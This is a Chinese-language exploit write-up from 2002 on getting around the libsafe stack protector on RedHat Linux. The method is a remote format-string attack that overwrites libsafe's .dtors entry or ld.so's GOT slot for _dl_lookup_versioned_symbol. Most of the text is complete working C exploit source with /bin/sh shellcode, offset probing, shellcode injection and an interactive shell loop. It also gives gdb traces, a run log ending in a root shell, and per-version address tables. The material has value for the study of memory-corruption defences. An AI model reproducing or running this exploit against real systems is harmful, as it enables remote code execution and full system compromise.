绕过libsafe的保护--覆盖_dl_lookup_versioned_symbol技术

/ns/hk/hacker/data/20020812033044.htm

绕过libsafe的保护--覆盖_dl_lookup_versioned_symbol技术

Author: alert7
Email: alert7@whitecell.org
Homepage:http://www.whitecell.org
Date: 2002-08-10


绕过libsafe的保护--覆盖_dl_lookup_versioned_symbol技术

by alert7 < alert7@xfocus.org >
主页: http://www.xfocus.org/ http://www.whitecell.org/
2002-04-29


在这里向您展现一下新的覆盖_dl_lookup_versioned_symbol技术
(这技术我提的,就这么命名好了:) )
错误之处,还请来信斧正,谢谢。

上接<<如何写远程自动精确定位的format string exploit>>

由于libsafe只保护堆栈区,不保护heap,和bss区,所以,我们可以设法覆盖那里的某些重要变量,
从而使我们的shellcode获得控制权。

想法一:覆盖dtors

[alert7@redhat72 libsafe-2.0-13]# ldd /bin/ls
/lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000)
libtermcap.so.2 => /lib/libtermcap.so.2 (0x4002c000)
libc.so.6 => /lib/i686/libc.so.6 (0x40030000)
libdl.so.2 => /lib/libdl.so.2 (0x4016b000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

[alert7@redhat72 libsafe-2.0-13]# ldd /bin/more
/lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000)
libtermcap.so.2 => /lib/libtermcap.so.2 (0x4002c000)
libc.so.6 => /lib/i686/libc.so.6 (0x40030000)
libdl.so.2 => /lib/libdl.so.2 (0x4016b000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

[alert7@redhat72 libsafe-2.0-13]# ldd /bin/mail
/lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000)
libc.so.6 => /lib/i686/libc.so.6 (0x4002c000)
libdl.so.2 => /lib/libdl.so.2 (0x40167000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

[alert7@redhat72 libsafe-2.0-13]# ldd /usr/local/apache/bin/httpd
/lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000)
libpam.so.0 => /lib/libpam.so.0 (0x4002c000)
libcrypt.so.1 => /lib/libcrypt.so.1 (0x40034000)
libresolv.so.2 => /lib/libresolv.so.2 (0x40061000)
libm.so.6 => /lib/i686/libm.so.6 (0x40073000)
libdl.so.2 => /lib/libdl.so.2 (0x40096000)
libnsl.so.1 => /lib/libnsl.so.1 (0x4009a000)
libexpat.so.0 => /usr/lib/libexpat.so.0 (0x400b0000)
libc.so.6 => /lib/i686/libc.so.6 (0x400cd000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

加载libsafe的话,那么它的地址一般都会在0x40019000
而对于特定版本的libsafe的话,它的dtors也有个固定的地址
[alert7@redhat72 libsafe-2.0-13]# objdump -s -j .dtors /lib/libsafe.so.2

/lib/libsafe.so.2: file format elf32-i386

Contents of section .dtors:
31e0 ffffffff 50270000 00000000 ....P'......

修改addr_ret等于0x40019000+0x31e0+4

再测试

[buffer addr is: 0xbffff470 (8) ]
buf = (8)
70 f4 ff bf 70 f4 ff bf

addr_ret 0xbffff04c
[ret addr is: 0xbffff04c (34) ]

addr-ret 0x4001c1e4 addr_shellcode 0xbffff094

Building format string and send shellcode
waiting for get a shell if succeed...

low 61588;TWO 8;start 65536;base 0;offset 6;high 49151

e4 c1 01 40 e6 c1 01 40 25 2e 31 32 37 31 31 36 78 25 36 24 6e
25 2e 35 33 30 39 39 78 25 37 24 68 6e

(gdb) x/x 0x4001c1e4
0x4001c1e4 <__DTOR_LIST__+4>: 0xbffff094
(gdb) bt
#0 0xbffff875 in ?? ()
#1 0x4001b7d9 in _fini () at eval.c:41
#2 0x4000de72 in _dl_fini () at eval.c:41
#3 0x4005d42b in exit (status=0) at exit.c:54
#4 0x40048510 in __libc_start_main (main=0x8048804 <main>, argc=1,
ubp_av=0xbffffd24, init=0x8048468 <_init>, fini=0x8048980 <_fini>,
rtld_fini=0x4000dc14 <_dl_fini>, stack_end=0xbffffd1c)
at ../sysdeps/generic/libc-start.c:129
(gdb) x/x 0x4001c1e4
0x4001c1e4 <__DTOR_LIST__+4>: 0xbffff094
(gdb) i reg eip
eip 0xbffff875 0xbffff875
(gdb) x/10x 0xbffff094
0xbffff094: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff0a4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff0b4: 0x00000000 0x00000000

在执行共享库的析构函数的时候,已经是程序快要结束的时候,format string input那些数据已经
被程序所清洗。所以,这个vul exploit,我们不能覆盖dtors达到控制的目的。


想法二:把shellcode 4个字节4个字节的拷贝到远程进程的进程空间里
这样当调用exit-->dtors的时候,shellcode还存在。
这样的话可能存在一个问题,就是要注意到进程的地址的每个字节不能为0


[alert7@redhat72 1674]# cat maps
08048000-08049000 r-xp 00000000 16:01 102379 /home/alert7/format/fmtd
08049000-0804a000 rw-p 00000000 16:01 102379 /home/alert7/format/fmtd
0804a000-0804d000 rwxp 00000000 00:00 0
40000000-40016000 r-xp 00000000 16:01 65282 /lib/ld-2.2.4.so
40016000-40017000 rw-p 00015000 16:01 65282 /lib/ld-2.2.4.so
40018000-40019000 rw-p 00001000 00:00 0
40019000-4001c000 r-xp 00000000 16:01 65381 /lib/libsafe.so.2.0.13
4001c000-4001d000 rw-p 00003000 16:01 65381 /lib/libsafe.so.2.0.13
4002c000-4015e000 r-xp 00000000 16:01 77522 /lib/i686/libc-2.2.4.so
4015e000-40163000 rw-p 00131000 16:01 77522 /lib/i686/libc-2.2.4.so
40163000-40167000 rw-p 00000000 00:00 0
40167000-4016a000 r-xp 00000000 16:01 65295 /lib/libdl-2.2.4.so
4016a000-4016b000 rw-p 00002000 16:01 65295 /lib/libdl-2.2.4.so
bfffd000-c0000000 rwxp ffffe000 00:00 0

我们选择把shellcode写到0x40016000-0x40017000之间的地址,所以选择了0x40016002作为写入地址。
如果堆栈是不可运行的话,我们可以选用0x40016002,来达到绕过一般堆栈不可运行的目的。
现在我们选择0xbfffd002作为shellcode写入地址会更好

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <getopt.h>


#define CODEAT 0xbfffe002 //shellcode要写入的地址,注,该地址一定要可写
#define LIBSAFEBASE 0x40019000 //libsafe装载的基地址
#define DTORS_OFFSET_LIBSAFEBASE 0x31e0 //libsafe中的dtros的offset

char verbose = 0, debug = 0;

#define OCT( b0, b1, b2, b3, addr, str ) { \
b0 = (addr >> 24) & 0xff; \
b1 = (addr >> 16) & 0xff; \
b2 = (addr >> 8) & 0xff; \
b3 = (addr ) & 0xff; \
if ( b0 * b1 * b2 * b3 == 0 ) { \
printf( "\n%s contains a NUL byte. Leaving...\n", str ); \
exit( EXIT_FAILURE ); \
} \
}
#define MAX_FMT_LENGTH 128
#define ADD 0x100
#define FOUR sizeof( size_t ) * 4
#define TWO sizeof( size_t ) * 2
#define BANNER "uname -a ; id"
#define MAX_OFFSET 255


char *shellcode =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh\x90\x90\x90";
//shellcode长度 4的倍数

int interact(int sock)
{
fd_set fds;
ssize_t ssize;
char buffer[1024];

write(sock, BANNER"\n", sizeof(BANNER));
while (1) {
FD_ZERO(&fds);
FD_SET(STDIN_FILENO, &fds);
FD_SET(sock, &fds);
select(sock + 1, &fds, NULL, NULL, NULL);

if (FD_ISSET(STDIN_FILENO, &fds)) {
ssize = read(STDIN_FILENO, buffer, sizeof(buffer));
if (ssize < 0) {
return(-1);
}
if (ssize == 0) {
return(0);
}
write(sock, buffer, ssize);
}

if (FD_ISSET(sock, &fds)) {
ssize = read(sock, buffer, sizeof(buffer));
if (ssize < 0) {
return(-1);
}
if (ssize == 0) {
return(0);
}
write(STDOUT_FILENO, buffer, ssize);
}
}
return(-1);
}

u_long resolve(char *host)
{
struct hostent *he;
u_long ret;

if(!(he = gethostbyname(host)))
{
herror("gethostbyname()");
exit(-1);
}

memcpy(&ret, he->h_addr, sizeof(he->h_addr));
return ret;
}

int
build_hn1(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base,int alinged)
{
unsigned char b0, b1, b2, b3;
unsigned int high, low;
int start = ((base / (ADD * ADD)) + 1) * ADD * ADD;
int sz;
int i,j,count=0;

printf("write shellcode to remote process address 0x%x ",locaddr);
printf("code: 0x%.2x 0x%.2x 0x%.2x 0x%.2x\n", retaddr& 0xff,(retaddr>>8)&0xff,(retaddr>>16)&0xff,(retaddr>>24)&0xff );
buf[0]=0;

for (i=0;i<alinged;i++)
strcat(buf,"a");

/* <locaddr> : where to overwrite */
OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]");
sz = snprintf(buf+alinged, TWO + 1, /* 8 char to have the 2 addresses */
"%c%c%c%c" /* + 1 for the ending \0 */
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 2, b2, b1, b0);

/* where is our shellcode ? */
OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]");
high = (retaddr & 0xffff0000) >> 16;
low = retaddr & 0x0000ffff;

i = snprintf(buf + sz+alinged, MAX_FMT_LENGTH,
"%%.%hdx%%%d$n%%.%hdx%%%d$hn",
low - TWO + start - base,
offset,
high - low + start,
offset + 1);
for (j=0;j<strlen(buf);j++)
{
if (buf[j] == '%' )
count++;
}
if (count > 4)
{
printf("too many '%%' in input buffer\nmay be failed\n\n");
}
return i;
}


int
build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base,int alinged)
{
unsigned char b0, b1, b2, b3;
unsigned int high, low;
int start = ((base / (ADD * ADD)) + 1) * ADD * ADD;
int sz;
int i,j,count=0;

buf[0]=0;

for (i=0;i<alinged;i++)
strcat(buf,"a");

/* <locaddr> : where to overwrite */
OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]");
sz = snprintf(buf+alinged, TWO + 1, /* 8 char to have the 2 addresses */
"%c%c%c%c" /* + 1 for the ending \0 */
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 2, b2, b1, b0);

/* where is our shellcode ? */
OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]");
high = (retaddr & 0xffff0000) >> 16;
low = retaddr & 0x0000ffff;

printf("low %d;TWO %d;start %d;base %d;offset %d;high %d\n\n",low,TWO,start,base,offset,high);

i = snprintf(buf + sz+alinged, MAX_FMT_LENGTH,
"%%.%hdx%%%d$n%%.%hdx%%%d$hn",
low - TWO + start - base,
offset,
high - low + start,
offset + 1);
for (j=0;j<strlen(buf);j++)
{
if (buf[j] == '%' )
count++;
fprintf(stderr,"%.2x ", (int)(buf[j] & 0xff));
if (j && j%20 == 0) fprintf(stderr, "\n");
}
fprintf(stderr, "\n\n");
if (count > 4)
{
printf("too many '%%' in input buffer\nmay be failed\n\n");
}
return i;
}



void get_addr_as_char(u_int addr, char *buf) {

*(u_int*)buf = addr;
if (!buf[0]) buf[0]++;
if (!buf[1]) buf[1]++;
if (!buf[2]) buf[2]++;
if (!buf[3]) buf[3]++;
}

int get_offset(int sock,int * alinged) {

int i, j,offset = -1, len;
char fmt[128], buf[128];
char tmp1[128],tmp2[128];


for (j =0;j<4;j++)
{
if (j == 0)
{
strcpy(tmp1,"AAAA%%%d$x");
strcpy(tmp2,"AAAA41414141");
}
if (j == 1)
{
strcpy(tmp1,"AAAAa%%%d$x");
strcpy(tmp2,"AAAAa41414141");
}
if (j == 2)
{
strcpy(tmp1,"AAAAaa%%%d$x");
strcpy(tmp2,"AAAAaa41414141");
}
if (j == 3)
{
strcpy(tmp1,"AAAAaaa%%%d$x");
strcpy(tmp2,"AAAAaaa41414141");
}

for (i = 1; i<MAX_OFFSET && offset == -1; i++) {

snprintf(fmt, sizeof(fmt), tmp1, i);
write(sock, fmt, strlen(fmt));
memset(buf, 0, sizeof(buf));
sleep(1);
if ((len = read(sock, buf, sizeof(buf))) < 0) {
fprintf(stderr, "Error while looking for the offset (%d)\n", len);
close(sock);
exit(EXIT_FAILURE);
}

if (debug)
fprintf(stderr, "testing offset = %d fmt = [%s] buf = [%s] len = %d\n",
i, fmt, buf, len);

if (!strcmp(buf, tmp2))
{
offset = i;
*alinged = j;
goto OUT;
}
}//end for i

}//end for j
OUT:
return offset;
}


int main(int argc, char **argv)
{
char *ip = "127.0.0.1", *ptr;
struct sockaddr_in sck;
u_int read_at, addr_stack = (u_int)0xbfffe001; /* default bottom */
u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1;
char buf[1024], fmt[128], c;
int port = 12345, offset = -1;
int sd, len, i;
int aligned;
int formatstring_counts = 0;
u_int formatstring1=0,formatstring2=0;
int use_format = 0;
int like_printf = 0;
int write_code_TO = CODEAT;
int * p;

while ((c = getopt(argc, argv, "dvi:p:a:o:")) != -1) {
switch (c) {
case 'i':
ip = optarg;
break;

case 'p':
port = atoi(optarg);
break;

case 'a':
addr_stack = strtoul(optarg, NULL, 16);
break;

case 'o':
offset = atoi(optarg);
break;

case 'v':
verbose = 1;
break;

case 'd':
debug = 1;
break;

default:
fprintf(stderr, "Unknwon option %c (%d)\n", c, c);
exit (EXIT_FAILURE);
}
}

/* init the sockaddr_in */
fprintf(stderr, "Using IP %s\n", ip);
sck.sin_family = PF_INET;
sck.sin_addr.s_addr = resolve(ip);
sck.sin_port = htons (port);

/* open the socket */
if (!(sd = socket (PF_INET, SOCK_STREAM, 0))) {
perror ("socket()");
exit (EXIT_FAILURE);
}

/* connect to the remote server */
if (connect (sd, (struct sockaddr *) &sck, sizeof (sck)) < 0) {
perror ("Connect() ");
exit (EXIT_FAILURE);
}
fprintf (stderr, "Connected to %s\n", ip);
if (debug) sleep(5);

/* send login */
memset (buf, 0x0, sizeof(buf));
len = read(sd, buf, sizeof(buf));
if (strncmp(buf, "login", 5)) {
fprintf(stderr, "Error: no login asked [%s] (%d)\n", buf, len);
close(sd);
exit(EXIT_FAILURE);
}
strcpy(buf, "alert7");
len = write (sd, buf, strlen(buf));
if (verbose) fprintf(stderr, "login sent [%s] (%d)\n", buf, len);
sleep(1);

/* passwd: shellcode in the buffer and in the remote stack */
len = read(sd, buf, sizeof(buf));
if (strncmp(buf, "password", 8)) {
fprintf(stderr, "Error: no password asked [%s] (%d)\n", buf, len);
close(sd);
exit(EXIT_FAILURE);
}
write (sd, "hi", 2);
if (verbose) fprintf (stderr, "passwd (hi) sent (%d)\n", len);
sleep(1);

/***********************************************************************/
/* find offset and aligned ,一般情况这个可以手动判断就可以了,不过程序判断
*也不麻烦
*/
if (offset == -1) {
if ((offset = get_offset(sd,&aligned)) == -1) {
fprintf(stderr, "Error: can't find offset\n");
fprintf(stderr, "Please, use the -o arg to specify it.\n");
close(sd);
exit(EXIT_FAILURE);
}
fprintf(stderr, "\n[Found offset = %d aligned %d ]\n\n", offset,aligned);
}
/***********************************************************************/


addr_ret = LIBSAFEBASE + DTORS_OFFSET_LIBSAFEBASE +4;

fprintf (stderr, "\naddr-ret %p addr_shellcode %p\n\n",addr_ret,write_code_TO);

/*******************************************************************************/
/*
*想法二:把shellcode 4个字节4个字节的拷贝到远程进程的进程空间里
* 这样当调用exit-->dtors的时候,shellcode还存在。
* 这样的话可能存在一个问题,就是要注意到进程的地址的每个字节不能为0
*
*我们选择把shellcode写到0x40016000-0x40017000之间的地址,所以选择了0x40016002作为写入地址。
*/

i=0;
for (p = (int *) shellcode;i*4<strlen(shellcode) ;p++,i++)
{
memset(buf, 0, sizeof(buf));
build_hn1(buf, write_code_TO+i*4, *p, offset, 0,aligned);
write(sd, buf, strlen(buf));
sleep(1);
}


/*******************************************************************************/


/* send the format string */
fprintf (stderr, "\nBuilding format string and send shellcode \nwaiting for get a shell if succeed...\n\n");
memset(buf, 0, sizeof(buf));
build_hn(buf, addr_ret, write_code_TO, offset, 0,aligned);
write(sd, buf, strlen(buf));
sleep(1);
read(sd, buf, sizeof(buf));

/* call the return while quiting */
fprintf (stderr, "Sending the quit ...\n");
strcpy(buf, "quit");
write(sd, buf, strlen(buf));
sleep(1);
interact(sd);

close(sd);
return 0;
}

[alert7@redhat72 format]$ gcc -o e e.c
[alert7@redhat72 format]$ ./e
Using IP 127.0.0.1
Connected to 127.0.0.1

[Found offset = 6 aligned 0 ]

addr-ret 0x4001c1e4 addr_shellcode 0x40016002

write shellcode to remote process address 0x40016002 code: 0x90 0x90 0x90 0x90
write shellcode to remote process address 0x40016006 code: 0x90 0x90 0x90 0x90
write shellcode to remote process address 0x4001600a code: 0x90 0x90 0x90 0x90
write shellcode to remote process address 0x4001600e code: 0x90 0x90 0x90 0x90
write shellcode to remote process address 0x40016012 code: 0xeb 0x1f 0x5e 0x89
write shellcode to remote process address 0x40016016 code: 0x76 0x08 0x31 0xc0
write shellcode to remote process address 0x4001601a code: 0x88 0x46 0x07 0x89
write shellcode to remote process address 0x4001601e code: 0x46 0x0c 0xb0 0x0b
write shellcode to remote process address 0x40016022 code: 0x89 0xf3 0x8d 0x4e
write shellcode to remote process address 0x40016026 code: 0x08 0x8d 0x56 0x0c
write shellcode to remote process address 0x4001602a code: 0xcd 0x80 0x31 0xdb
write shellcode to remote process address 0x4001602e code: 0x89 0xd8 0x40 0xcd
write shellcode to remote process address 0x40016032 code: 0x80 0xe8 0xdc 0xff
write shellcode to remote process address 0x40016036 code: 0xff 0xff 0x2f 0x62
write shellcode to remote process address 0x4001603a code: 0x69 0x6e 0x2f 0x73
write shellcode to remote process address 0x4001603e code: 0x68 0x90 0x90 0x90

Building format string and send shellcode
waiting for get a shell if succeed...

low 24578;TWO 8;start 65536;base 0;offset 6;high 16385

e4 c1 01 40 e6 c1 01 40 25 2e 39 30 31 30 36 78 25 36 24 6e 25
2e 35 37 33 34 33 78 25 37 24 68 6e
Sending the quit ...
`@00000000000000000000000......
......(省略了一些乱信息)
0000000000000000000000000000000000000000000bye bye ...
Linux redhat72 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
uid=0(root) gid=100(users)
ldd /bin/ls
/lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000)
libtermcap.so.2 => /lib/libtermcap.so.2 (0x4002c000)
libc.so.6 => /lib/i686/libc.so.6 (0x40030000)
libdl.so.2 => /lib/libdl.so.2 (0x4016b000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
exit
[alert7@redhat72 format]$
绕过libsafe成功 :)


但是也有几点不好的地方
一:几个地址都要粗劣的精确定位

#define CODEAT 0x40016002 //shellcode要写入的地址,注,该地址一定要可写
//把shellcode拷贝到的地址空间,其目的是为了保证在exit()调用后
//CODEAT地址的shellcode还是可用,而不会被清理掉。
//该地址一定要可写,保证程序不当掉。
#define LIBSAFEBASE 0x40019000 //libsafe装载的基地址
#define DTORS_OFFSET_LIBSAFEBASE 0x31e0 //libsafe中的dtros的offset

来看看下面这个进程映象
[alert7@redhat72 1674]# cat maps
08048000-08049000 r-xp 00000000 16:01 102379 /home/alert7/format/fmtd
08049000-0804a000 rw-p 00000000 16:01 102379 /home/alert7/format/fmtd
0804a000-0804d000 rwxp 00000000 00:00 0
40000000-40016000 r-xp 00000000 16:01 65282 /lib/ld-2.2.4.so
40016000-40017000 rw-p 00015000 16:01 65282 /lib/ld-2.2.4.so
40018000-40019000 rw-p 00001000 00:00 0
40019000-4001c000 r-xp 00000000 16:01 65381 /lib/libsafe.so.2.0.13
4001c000-4001d000 rw-p 00003000 16:01 65381 /lib/libsafe.so.2.0.13
4002c000-4015e000 r-xp 00000000 16:01 77522 /lib/i686/libc-2.2.4.so
4015e000-40163000 rw-p 00131000 16:01 77522 /lib/i686/libc-2.2.4.so
40163000-40167000 rw-p 00000000 00:00 0
40167000-4016a000 r-xp 00000000 16:01 65295 /lib/libdl-2.2.4.so
4016a000-4016b000 rw-p 00002000 16:01 65295 /lib/libdl-2.2.4.so
bfffd000-c0000000 rwxp ffffe000 00:00 0

默认系统lib库装载的基地址为0x40000000(除非你自己改源代码重新编译内核),然后
一个一个顺序加载共享库。所以LIBSAFEBASE的值只取决于ld-x.x.x.so的版本,也就是说
同样版本的/lib/ld-2.2.4.so,各个进程加栽的libsafe共享库的地址一般都为0x40019000。
所以这个值不是随机的,应该还算有比较高的精确度。

DTORS_OFFSET_LIBSAFEBASE的值取决于编译器的版本和编译时候的选项还有就是libsafe的版本。
如果这三个都相同的话,应该这个值是一定的。所以这个地址的成功率也是很高的。

CODEAT值也取决于ld-x.x.x.so的版本,或者这个值在其他版本上也可以用也说不定,反正我没有测试过。
不好说死了。

二:需要确定几个值
offset和aligned,它们两个很容易得到。


能不能再精确数据或者说让exploit依赖的数据少点
我想到了/lib/ld-2.2.4.so,因为它的地址是不变的,
永远是0x40000000

查找感兴趣的函数
[root@redhat72 format]# objdump -R /lib/ld-2.2.4.so
/lib/ld-2.2.4.so: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
00016378 R_386_GLOB_DAT __libc_internal_tsd_set
00016380 R_386_GLOB_DAT _dl_nloaded
00016388 R_386_GLOB_DAT __pthread_mutex_lock
0001638c R_386_GLOB_DAT _dl_profile_output
00016390 R_386_GLOB_DAT __libc_stack_end
00016394 R_386_GLOB_DAT _dl_debug_fd
0001639c R_386_GLOB_DAT _dl_initial_searchlist
000163a8 R_386_GLOB_DAT _dl_platformlen
000163ac R_386_GLOB_DAT _dl_debug_mask
000163b0 R_386_GLOB_DAT _dl_profile
000163c0 R_386_GLOB_DAT _dl_cpuclock_offset
000163cc R_386_GLOB_DAT __libc_enable_secure
000163dc R_386_GLOB_DAT _dl_global_scope
000163e4 R_386_GLOB_DAT __libc_internal_tsd_get
000163e8 R_386_GLOB_DAT __pthread_mutex_unlock
000163f4 R_386_GLOB_DAT _dl_lazy
000163f8 R_386_GLOB_DAT _dl_debug_state
000163fc R_386_GLOB_DAT _dl_argv
00016408 R_386_GLOB_DAT _dl_main_searchlist
00016420 R_386_GLOB_DAT _dl_origin_path
00016424 R_386_GLOB_DAT _dl_clktck
0001642c R_386_GLOB_DAT _dl_starting_up
00016430 R_386_GLOB_DAT _dl_out_of_memory
00016438 R_386_GLOB_DAT _dl_mcount
0001643c R_386_GLOB_DAT _dl_init_all_dirs
00016448 R_386_GLOB_DAT _dl_load_lock
00016450 R_386_GLOB_DAT _dl_fpu_control
00016464 R_386_GLOB_DAT _dl_loaded
00016468 R_386_GLOB_DAT _dl_profile_map
00016474 R_386_GLOB_DAT _dl_all_dirs
00016478 R_386_GLOB_DAT _r_debug
0001648c R_386_GLOB_DAT _dl_pagesize
0001630c R_386_JUMP_SLOT _dl_debug_printf
00016310 R_386_JUMP_SLOT _dl_check_map_versions
00016314 R_386_JUMP_SLOT __pthread_mutex_lock
00016318 R_386_JUMP_SLOT _dl_sysdep_start
0001631c R_386_JUMP_SLOT _dl_init
00016320 R_386_JUMP_SLOT malloc
00016324 R_386_JUMP_SLOT _dl_lookup_versioned_symbol
00016328 R_386_JUMP_SLOT _dl_lookup_symbol
0001632c R_386_JUMP_SLOT calloc
00016330 R_386_JUMP_SLOT __pthread_mutex_unlock
00016334 R_386_JUMP_SLOT _dl_debug_state
00016338 R_386_JUMP_SLOT _dl_dst_substitute
0001633c R_386_JUMP_SLOT realloc
00016340 R_386_JUMP_SLOT _dl_check_all_versions
00016344 R_386_JUMP_SLOT _dl_debug_initialize
00016348 R_386_JUMP_SLOT __xstat64
0001634c R_386_JUMP_SLOT _dl_start_profile
00016350 R_386_JUMP_SLOT _dl_relocate_object
00016354 R_386_JUMP_SLOT _dl_dst_count
00016358 R_386_JUMP_SLOT _dl_unload_cache
0001635c R_386_JUMP_SLOT _dl_map_object
00016360 R_386_JUMP_SLOT _dl_signal_error
00016364 R_386_JUMP_SLOT _dl_catch_error
00016368 R_386_JUMP_SLOT __fxstat64
0001636c R_386_JUMP_SLOT free
00016370 R_386_JUMP_SLOT _dl_map_object_deps

我们只对下面这两个感兴趣
00016324 R_386_JUMP_SLOT _dl_lookup_versioned_symbol
00016328 R_386_JUMP_SLOT _dl_lookup_symbol
通过实验,覆盖地址_dl_lookup_versioned_symbol可以成功取得控制权。
现在我们找到了_dl_lookup_versioned_symbol。
现在我们所有的地址只跟ld-x.x.x.so版本有关了,而跟编译器(没有人会去重新编译ld吧)和libsafe无关了。


以上是linux redhat 7.2上的测试值

以下是linux redhat 6.2的测试值
[root@redhat]# ldd fmtd
/lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40016000)
libc.so.6 => /lib/libc.so.6 (0x40020000)
libdl.so.2 => /lib/libdl.so.2 (0x40115000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[root@redhat]# objdump -s -j .dtors /lib/libsafe.so.2

/lib/libsafe.so.2: file format elf32-i386

Contents of section .dtors:
4124 ffffffff 68260000 00000000 ....h&......
[root@redhat]# cat maps
08048000-08049000 r-xp 00000000 03:01 73098 /home/alert7/format/fmtd
08049000-0804a000 rw-p 00000000 03:01 73098 /home/alert7/format/fmtd
0804a000-0804d000 rwxp 00000000 00:00 0
40000000-40013000 r-xp 00000000 03:01 40322 /lib/ld-2.1.3.so
40013000-40014000 rw-p 00012000 03:01 40322 /lib/ld-2.1.3.so
40014000-40015000 rw-p 00000000 00:00 0
40016000-40019000 r-xp 00000000 03:01 40413 /lib/libsafe.so.2.0.13
40019000-4001b000 rw-p 00002000 03:01 40413 /lib/libsafe.so.2.0.13
40020000-4010d000 r-xp 00000000 03:01 40329 /lib/libc-2.1.3.so
4010d000-40111000 rw-p 000ec000 03:01 40329 /lib/libc-2.1.3.so
40111000-40115000 rw-p 00000000 00:00 0
40115000-40117000 r-xp 00000000 03:01 40338 /lib/libdl-2.1.3.so
40117000-40119000 rw-p 00001000 03:01 40338 /lib/libdl-2.1.3.so
bfffd000-c0000000 rwxp ffffe000 00:00 0

ld-2.2.2.so redhat 7.2
0001661c R_386_JUMP_SLOT _dl_lookup_versioned_symbol
00016620 R_386_JUMP_SLOT _dl_lookup_symbol
40000000-40016000 r-xp 00000000 08:02 227252 /lib/ld-2.2.2.so
40016000-40017000 rw-p 00015000 08:02 227252 /lib/ld-2.2.2.so


ld-2.2.4.so redhat 7.2
00016324 R_386_JUMP_SLOT _dl_lookup_versioned_symbol
00016328 R_386_JUMP_SLOT _dl_lookup_symbol
40000000-40016000 r-xp 00000000 16:01 65282 /lib/ld-2.2.4.so
40016000-40017000 rw-p 00015000 16:01 65282 /lib/ld-2.2.4.so

ld-2.1.3.so redhat 6.2
00013884 R_386_JUMP_SLOT _dl_lookup_versioned_symbol
00013888 R_386_JUMP_SLOT _dl_lookup_symbol
40000000-40013000 r-xp 00000000 03:01 40322 /lib/ld-2.1.3.so
40013000-40014000 rw-p 00012000 03:01 40322 /lib/ld-2.1.3.so


最终的exploit的变量定位只与ld版本相关

#define CODEAT 0xbfffe002 //shellcode要写入的地址,注,该地址一定要可写
#define LIBSAFEBASE 0x40000000 //ld装载的基地址
#define DTORS_OFFSET_LIBSAFEBASE (0x16328 -4) //后面程序中做了+4的

---THE END.